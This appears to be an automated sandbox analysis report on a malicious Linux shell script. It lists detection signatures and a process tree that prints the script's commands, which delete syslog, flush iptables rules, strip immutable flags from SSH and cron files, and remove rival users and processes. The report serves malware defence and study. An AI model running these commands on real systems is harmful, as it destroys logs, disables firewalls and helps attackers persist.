cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941

Analysis

max time kernel
56s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/02/2025, 03:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941.sh
Size

35KB
MD5

e710f512f7def535e702ef94923d2711
SHA1

a31fb4feb6856c56f2b8f5c0ffb77e4e63165e52
SHA256

cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941
SHA512

0a7502c8d575ef1c3a64c11e3a71a1613ac9e36e37fed67e2c5a8571746348b7ae23d9a898123af335bd646e4bab007ad1091aab8087041f7d1d0c4177712750
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytyuz:bOVF+D6cIwgosxz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
653	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
659	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1470	xargs
1476	xargs
1567	xargs
1715	xargs
1832	xargs
1464	xargs
1587	xargs
1593	xargs
1635	xargs
1674	xargs
1720	xargs
1827	xargs
1448	xargs
1458	xargs
1648	sed
1650	xargs
1675	sed
1759	xargs
1806	xargs
1842	xargs
1418	xargs
1424	xargs
1574	xargs
1847	xargs
1857	xargs
1653	xargs
1668	xargs
1799	xargs
1837	xargs
641	chattr
1611	xargs
1764	xargs
1663	sed
645	chattr
1426	grep
1433	xargs
1482	xargs
1599	xargs
1659	xargs
1774	xargs
1651	sed
685	chattr
1412	xargs
1443	xargs
1488	xargs
1605	xargs
1617	xargs
1644	xargs
1453	xargs
1665	xargs
1748	xargs
1789	xargs
1811	xargs
1867	xargs
1561	xargs
1581	xargs
1623	xargs
1677	xargs
1794	xargs
1438	xargs
1549	xargs
1642	sed
1737	xargs
1822	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.SU7xsg	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yaVt9F	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.CPTg7j	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.uQuKnI	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OrzcZ2	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OR7vjk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jTfBSw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jwbeXQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UIQ2z3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.hm8Toe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9Z3dYd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9qa6jw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.74ZGpS	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Process Discovery 1 TTPs 34 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1833	ps
1444	ps
1711	ps
1760	ps
1818	ps
1408	ps
1780	ps
1785	ps
1790	ps
1802	ps
1716	ps
1765	ps
1775	ps
1795	ps
1838	ps
1843	ps
1863	ps
1425	ps
1770	ps
1439	ps
1807	ps
1813	ps
1823	ps
1414	ps
1420	ps
1429	ps
1434	ps
1484	ps
1721	ps
1853	ps
1858	ps
1427	ps
1828	ps
1848	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/260/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/636/status	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/642/stat	ps
File opened for reading	/proc/592/stat	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/256/status	ps
File opened for reading	/proc/152/cmdline	pkill
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/1850/status	ps
File opened for reading	/proc/634/cmdline	ps
File opened for reading	/proc/1305/stat	ps
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/256/cmdline	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/1770/status	ps
File opened for reading	/proc/262/stat	ps
File opened for reading	/proc/1801/status	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/137/stat	ps
File opened for reading	/proc/637/cmdline	pkill
File opened for reading	/proc/637/stat	ps
File opened for reading	/proc/262/cmdline	ps
File opened for reading	/proc/106/status	ps
File opened for reading	/proc/592/cmdline	ps
File opened for reading	/proc/107/cmdline	ps
File opened for reading	/proc/1305/cmdline	ps
File opened for reading	/proc/591/status	ps
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/637/cmdline	pkill
File opened for reading	/proc/592/cmdline	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/141/status	pkill
File opened for reading	/proc/107/status	ps
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/152/stat	ps
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/43/cmdline	pkill
File opened for reading	/proc/303/cmdline	ps
File opened for reading	/proc/637/status	ps
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/591/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/104/cmdline	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/589/stat	ps
File opened for reading	/proc/152/status	ps
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/586/status	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/259/cmdline	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/256/stat	ps
File opened for reading	/proc/256/stat	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1364	ls

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941.sh

/tmp/cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941.sh
/tmp/cbe53e9e5185edfe9da69ceed715e384858fe1c2d451a6869787ed7f41f79941.sh
1⤵
- Writes file to tmp directory
PID:637
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:639
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:641
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:645
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  PID:647
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  PID:650
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:653
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:659
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:669
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmONB-0000An-5A
      4⤵
      Reads CPU attributes
      PID:682
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:672
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmONB-0000Aq-4i
      4⤵
      Reads CPU attributes
      PID:683
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    PID:675
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:676
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:679
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:685
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  PID:686
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:687
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:689
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:694
- /bin/grep
  grep exe
  2⤵
  PID:697
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:696
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:699
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:701
- /bin/grep
  grep exe
  2⤵
  PID:702
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:704
- /bin/grep
  grep exe
  2⤵
  PID:707
- /bin/ls
  ls -latrh /proc/104
  2⤵
  PID:706
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:709
- /bin/grep
  grep exe
  2⤵
  PID:712
- /bin/ls
  ls -latrh /proc/106
  2⤵
  PID:711
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:714
- /bin/ls
  ls -latrh /proc/107
  2⤵
  PID:716
- /bin/grep
  grep exe
  2⤵
  PID:717
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:719
- /bin/grep
  grep exe
  2⤵
  PID:722
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:721
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:724
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:726
- /bin/grep
  grep exe
  2⤵
  PID:727
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:731
- /bin/grep
  grep exe
  2⤵
  PID:734
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:733
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:737
- /bin/grep
  grep exe
  2⤵
  PID:741
- /bin/ls
  ls -latrh /proc/137
  2⤵
  PID:740
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:744
- /bin/grep
  grep exe
  2⤵
  PID:748
- /bin/ls
  ls -latrh /proc/138
  2⤵
  PID:747
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:751
- /bin/grep
  grep exe
  2⤵
  PID:755
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:754
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:758
- /bin/grep
  grep exe
  2⤵
  PID:762
- /bin/ls
  ls -latrh /proc/141
  2⤵
  PID:761
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:765
- /bin/ls
  ls -latrh /proc/149
  2⤵
  PID:767
- /bin/grep
  grep exe
  2⤵
  PID:768
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:770
- /bin/grep
  grep exe
  2⤵
  PID:774
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:773
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:777
- /bin/grep
  grep exe
  2⤵
  PID:780
- /bin/ls
  ls -latrh /proc/152
  2⤵
  PID:779
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:783
- /bin/grep
  grep exe
  2⤵
  PID:787
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:786
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:790
- /bin/grep
  grep exe
  2⤵
  PID:794
- /bin/ls
  ls -latrh /proc/167
  2⤵
  PID:793
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:797
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:801
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:805
- /bin/grep
  grep exe
  2⤵
  PID:808
- /bin/ls
  ls -latrh /proc/18
  2⤵
  PID:807
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:812
- /bin/grep
  grep exe
  2⤵
  PID:815
- /bin/ls
  ls -latrh /proc/19
  2⤵
  PID:814
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:818
- /bin/grep
  grep exe
  2⤵
  PID:821
- /bin/ls
